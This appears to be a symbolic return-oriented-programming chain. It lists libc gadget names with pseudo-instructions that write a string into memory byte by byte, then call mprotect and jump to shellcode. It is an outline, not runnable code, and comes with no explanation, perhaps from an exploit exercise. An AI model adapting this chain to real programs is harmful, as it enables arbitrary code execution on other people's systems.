__cache_sysconf SUB RDI, 0xB9 

__cache_sysconf SUB RDI, 0xB9 

__cache_sysconf SUB RDI, 0xB9 

__cache_sysconf SUB RDI, 0xB9 

__cache_sysconf SUB RDI, 0xB9 

__cache_sysconf SUB RDI, 0xB9 

__cache_sysconf SUB RDI, 0xB9 

__cache_sysconf SUB RDI, 0xB9 

__cache_sysconf SUB RDI, 0xB9 

__cache_sysconf SUB RDI, 0xB9 

__cache_sysconf SUB RDI, 0xB9 

__cache_sysconf SUB RDI, 0xB9 

__cache_sysconf SUB RDI, 0xB9 

__cache_sysconf SUB RDI, 0xB9 

__cache_sysconf SUB RDI, 0xB9 

__cache_sysconf SUB RDI, 0xB9 

_dl_mcount_wrapper... MOV RSI, RDI 

__default_pthread_attr... MOV RDI, LIBC 

__hash_string SET RDI TO END 

OF STRING 

_dl_tunable_set... MOV RDX, 0x1 

__memset_sse2... MOV [RDI], SIL 

_nss_files_endpwent MOV RDI, 0x6 

__cache_sysconf SUB RDI, 0xB9 

__cache_sysconf SUB RDI, 0xB9 

__cache_sysconf SUB RDI, 0xB9 

__cache_sysconf SUB RDI, 0xB9 

__cache_sysconf SUB RDI, 0xB9 

__cache_sysconf SUB RDI, 0xB9 

__cache_sysconf SUB RDI, 0xB9 

__cache_sysconf SUB RDI, 0xB9 

__cache_sysconf SUB RDI, 0xB9 

__cache_sysconf SUB RDI, 0xB9 

__cache_sysconf SUB RDI, 0xB9 

__cache_sysconf SUB RDI, 0xB9 

__cache_sysconf SUB RDI, 0xB9 
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__cache_sysconf SUB RDI, 0xB9 

__cache_sysconf SUB RDI, 0xB9 

_dl_mcount_wrapper... MOV RSI, RDI 

__default_pthread_attr... MOV RDI, LIBC 

__hash_string SET RDI TO END 

OF STRING 

_dl_tunable_set... MOV RDX, 0x1 

__memset_sse2... MOV [RDI], SIL 

endttyent MOV RDI, 0x0 

__cache_sysconf SUB RDI, 0xB9 

__cache_sysconf SUB RDI, 0xB9 

__cache_sysconf SUB RDI, 0xB9 

__cache_sysconf SUB RDI, 0xB9 

__cache_sysconf SUB RDI, 0xB9 

__libc_sa_len SUB RDI, 0x1 

_dl_mcount_wrapper... MOV RSI, RDI 

__default_pthread_attr... MOV RDI, LIBC 

__hash_string SET RDI TO END 

OF STRING 

_dl_tunable_set... MOV RDX, 0x1 

__memset_sse2... MOV [RDI], SIL 

_nss_files_endpwent MOV RDI, 0x6 

__cache_sysconf SUB RDI, 0xB9 

__cache_sysconf SUB RDI, 0xB9 

__cache_sysconf SUB RDI, 0xB9 

__cache_sysconf SUB RDI, 0xB9 

__cache_sysconf SUB RDI, 0xB9 

_dl_mcount_wrapper... MOV RSI, RDI 

__default_pthread_attr... MOV RDI, LIBC 

__hash_string SET RDI TO END 

OF STRING 

_dl_tunable_set... MOV RDX, 0x1 

__memset_sse2... MOV [RDI], SIL 

endttyent MOV RDI, 0x0 

__cache_sysconf SUB RDI, 0xB9 

__cache_sysconf SUB RDI, 0xB9 

__cache_sysconf SUB RDI, 0xB9 

__cache_sysconf SUB RDI, 0xB9 

__cache_sysconf SUB RDI, 0xB9 

__cache_sysconf SUB RDI, 0xB9 

__cache_sysconf SUB RDI, 0xB9 

__cache_sysconf SUB RDI, 0xB9 

__cache_sysconf SUB RDI, 0xB9 

__cache_sysconf SUB RDI, 0xB9 

__cache_sysconf SUB RDI, 0xB9 

__cache_sysconf SUB RDI, 0xB9 

__cache_sysconf SUB RDI, 0xB9 

__cache_sysconf SUB RDI, 0xB9 

__cache_sysconf SUB RDI, 0xB9 

__cache_sysconf SUB RDI, 0xB9 

__libc_sa_len SUB RDI, 0x1 

__libc_sa_len SUB RDI, 0x1 

_dl_mcount_wrapper... MOV RSI, RDI 

__default_pthread_attr... MOV RDI, LIBC 

__hash_string SET RDI TO END 

OF STRING 

_dl_tunable_set... MOV RDX, 0x1 

__memset_sse2... MOV [RDI], SIL 

_nss_files_endpwent MOV RDI, 0x6 

__cache_sysconf SUB RDI, 0xB9 

__cache_sysconf SUB RDI, 0xB9 

__cache_sysconf SUB RDI, 0xB9 

__cache_sysconf SUB RDI, 0xB9 

__cache_sysconf SUB RDI, 0xB9 

__cache_sysconf SUB RDI, 0xB9 

__cache_sysconf SUB RDI, 0xB9 

__cache_sysconf SUB RDI, 0xB9 

__cache_sysconf SUB RDI, 0xB9 

__cache_sysconf SUB RDI, 0xB9 

__cache_sysconf SUB RDI, 0xB9 

__cache_sysconf SUB RDI, 0xB9 

__cache_sysconf SUB RDI, 0xB9 

__cache_sysconf SUB RDI, 0xB9 

__cache_sysconf SUB RDI, 0xB9 

_dl_mcount_wrapper... MOV RSI, RDI 

__default_pthread_attr... MOV RDI, LIBC 

__hash_string SET RDI TO END 

OF STRING 

_dl_tunable_set... MOV RDX, 0x1 

__memset_sse2... MOV [RDI], SIL 

_nss_files_endpwent MOV RDI, 0x6 

__cache_sysconf SUB RDI, 0xB9 

__cache_sysconf SUB RDI, 0xB9 

__cache_sysconf SUB RDI, 0xB9 

__cache_sysconf SUB RDI, 0xB9 

__cache_sysconf SUB RDI, 0xB9 
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__cache_sysconf SUB RDI, 0xB9 

__cache_sysconf SUB RDI, 0xB9 

__cache_sysconf SUB RDI, 0xB9 

__cache_sysconf SUB RDI, 0xB9 

__cache_sysconf SUB RDI, 0xB9 

__cache_sysconf SUB RDI, 0xB9 

__cache_sysconf SUB RDI, 0xB9 

__cache_sysconf SUB RDI, 0xB9 

__cache_sysconf SUB RDI, 0xB9 

__cache_sysconf SUB RDI, 0xB9 

_dl_mcount_wrapper... MOV RSI, RDI 

__default_pthread_attr... MOV RDI, LIBC 

__hash_string SET RDI TO END 

OF STRING 

_dl_tunable_set... MOV RDX, 0x1 

__memset_sse2... MOV [RDI], SIL 

_nss_files_endhostent MOV RDI, 0x3 

__cache_sysconf SUB RDI, 0xB9 

__cache_sysconf SUB RDI, 0xB9 

__cache_sysconf SUB RDI, 0xB9 

__cache_sysconf SUB RDI, 0xB9 

__cache_sysconf SUB RDI, 0xB9 

__cache_sysconf SUB RDI, 0xB9 

__cache_sysconf SUB RDI, 0xB9 

__cache_sysconf SUB RDI, 0xB9 

__cache_sysconf SUB RDI, 0xB9 

__cache_sysconf SUB RDI, 0xB9 

__cache_sysconf SUB RDI, 0xB9 

__cache_sysconf SUB RDI, 0xB9 

__cache_sysconf SUB RDI, 0xB9 

__cache_sysconf SUB RDI, 0xB9 

__cache_sysconf SUB RDI, 0xB9 

__cache_sysconf SUB RDI, 0xB9 

_dl_mcount_wrapper... MOV RSI, RDI 

__default_pthread_attr... MOV RDI, LIBC 

__hash_string SET RDI TO END 

OF STRING 

_dl_tunable_set... MOV RDX, 0x1 

__memset_sse2... MOV [RDI], SIL 

_nss_files_endprotoent MOV RDI, 0x5 

__cache_sysconf SUB RDI, 0xB9 

__cache_sysconf SUB RDI, 0xB9 

__cache_sysconf SUB RDI, 0xB9 

__cache_sysconf SUB RDI, 0xB9 

__cache_sysconf SUB RDI, 0xB9 

_dl_mcount_wrapper... MOV RSI, RDI 

__default_pthread_attr... MOV RDI, LIBC 

__hash_string SET RDI TO END 

OF STRING 

_dl_tunable_set... MOV RDX, 0x1 

__memset_sse2... MOV [RDI], SIL 

endttyent MOV RDI, 0x0 

__cache_sysconf SUB RDI, 0xB9 

__cache_sysconf SUB RDI, 0xB9 

__cache_sysconf SUB RDI, 0xB9 

__cache_sysconf SUB RDI, 0xB9 

__cache_sysconf SUB RDI, 0xB9 

__cache_sysconf SUB RDI, 0xB9 

__cache_sysconf SUB RDI, 0xB9 

__cache_sysconf SUB RDI, 0xB9 

__cache_sysconf SUB RDI, 0xB9 

__cache_sysconf SUB RDI, 0xB9 

__cache_sysconf SUB RDI, 0xB9 

__cache_sysconf SUB RDI, 0xB9 

__libc_sa_len SUB RDI, 0x1 

_dl_mcount_wrapper... MOV RSI, RDI 

__default_pthread_attr... MOV RDI, LIBC 

__hash_string SET RDI TO END 

OF STRING 

_dl_tunable_set... MOV RDX, 0x1 

__memset_sse2... MOV [RDI], SIL 

endttyent MOV RDI, 0x0 

__cache_sysconf SUB RDI, 0xB9 

__cache_sysconf SUB RDI, 0xB9 

__cache_sysconf SUB RDI, 0xB9 

__cache_sysconf SUB RDI, 0xB9 

__cache_sysconf SUB RDI, 0xB9 

__cache_sysconf SUB RDI, 0xB9 

__cache_sysconf SUB RDI, 0xB9 

__cache_sysconf SUB RDI, 0xB9 

__cache_sysconf SUB RDI, 0xB9 

__cache_sysconf SUB RDI, 0xB9 

__cache_sysconf SUB RDI, 0xB9 

__cache_sysconf SUB RDI, 0xB9 

_dl_mcount_wrapper... MOV RSI, RDI 

__default_pthread_attr... MOV RDI, LIBC 
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__hash_string SET RDI TO END 

OF STRING 

_dl_tunable_set... MOV RDX, 0x1 

__memset_sse2... MOV [RDI], SIL 

endttyent MOV RDI, 0x0 

__cache_sysconf SUB RDI, 0xB9 

__cache_sysconf SUB RDI, 0xB9 

__cache_sysconf SUB RDI, 0xB9 

__cache_sysconf SUB RDI, 0xB9 

__cache_sysconf SUB RDI, 0xB9 

__libc_sa_len SUB RDI, 0x1 

__libc_sa_len SUB RDI, 0x1 

__libc_sa_len SUB RDI, 0x1 

__libc_sa_len SUB RDI, 0x1 

_dl_mcount_wrapper... MOV RSI, RDI 

__default_pthread_attr... MOV RDI, LIBC 

__hash_string SET RDI TO END 

OF STRING 

_dl_tunable_set... MOV RDX, 0x1 

__memset_sse2... MOV [RDI], SIL 

_nss_files_endpwent MOV RDI, 0x6 

__cache_sysconf SUB RDI, 0xB9 

__cache_sysconf SUB RDI, 0xB9 

__cache_sysconf SUB RDI, 0xB9 

__cache_sysconf SUB RDI, 0xB9 

__cache_sysconf SUB RDI, 0xB9 

__cache_sysconf SUB RDI, 0xB9 

_dl_mcount_wrapper... MOV RSI, RDI 

__default_pthread_attr... MOV RDI, LIBC 

__hash_string SET RDI TO END 

OF STRING 

_dl_tunable_set... MOV RDX, 0x1 

__memset_sse2... MOV [RDI], SIL 

_nss_files_endhostent MOV RDI, 0x3 

__cache_sysconf SUB RDI, 0xB9 

__cache_sysconf SUB RDI, 0xB9 

__cache_sysconf SUB RDI, 0xB9 

__cache_sysconf SUB RDI, 0xB9 

__cache_sysconf SUB RDI, 0xB9 

__cache_sysconf SUB RDI, 0xB9 

__cache_sysconf SUB RDI, 0xB9 

__cache_sysconf SUB RDI, 0xB9 

_dl_mcount_wrapper... MOV RSI, RDI 

__default_pthread_attr... MOV RDI, LIBC 

__hash_string SET RDI TO END 

OF STRING 

_dl_tunable_set... MOV RDX, 0x1 

__memset_sse2... MOV [RDI], SIL 

_nss_files_endgrent MOV RDI, 0x2 

__cache_sysconf SUB RDI, 0xB9 

__cache_sysconf SUB RDI, 0xB9 

__cache_sysconf SUB RDI, 0xB9 

__cache_sysconf SUB RDI, 0xB9 

__cache_sysconf SUB RDI, 0xB9 

__cache_sysconf SUB RDI, 0xB9 

__cache_sysconf SUB RDI, 0xB9 

__cache_sysconf SUB RDI, 0xB9 

__cache_sysconf SUB RDI, 0xB9 

__cache_sysconf SUB RDI, 0xB9 

__cache_sysconf SUB RDI, 0xB9 

_dl_mcount_wrapper... MOV RSI, RDI 

__default_pthread_attr... MOV RDI, LIBC 

__hash_string SET RDI TO END 

OF STRING 

_dl_tunable_set... MOV RDX, 0x1 

__memset_sse2... MOV [RDI], SIL 

(0xF) 

_nss_files_endprotoent MOV RDI, 0x5 

_dl_mcount_wrapper... MOV RSI, RDI 

__default_pthread_attr... MOV RDI, LIBC 

__hash_string SET RDI TO END 

OF STRING 

_dl_tunable_set... MOV RDX, 0x1 

__memset_sse2... MOV [RDI], SIL 

_nss_files_endprotoent MOV RDI, 0x5 

_dl_mcount_wrapper... MOV RSI, RDI 

__default_pthread_attr... MOV RDI, LIBC 

__hash_string SET RDI TO END 

OF STRING 

_dl_tunable_set... MOV RDX, 0x1 

__memset_sse2... MOV [RDI], SIL 

_nss_files_endprotoent MOV RDI, 0x5 

_dl_mcount_wrapper... MOV RSI, RDI 

__default_pthread_attr... MOV RDI, LIBC 

__libc_dynarray_resize MOV [RDI], RSI 

_dl_mcount_wrapper... MOV RSI, RDI 

wcsstr * 704 SUB RDI, 0x4 
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__wcscat_ifunc MOV RSI, 0x0 

__pthread_rwlock... MOV RSI, LIBC 

__printf_buffer... MOV [RDI], RSI 

towlower SET RCX 

__libc_alloca_cutoff SET RDX 

__vfprintf_chk MOV RSI, RDX; 

MOV RDX, RCX 

__mprotect MPROTECT 

shellcode JUMP TO 

SHELLCODE 
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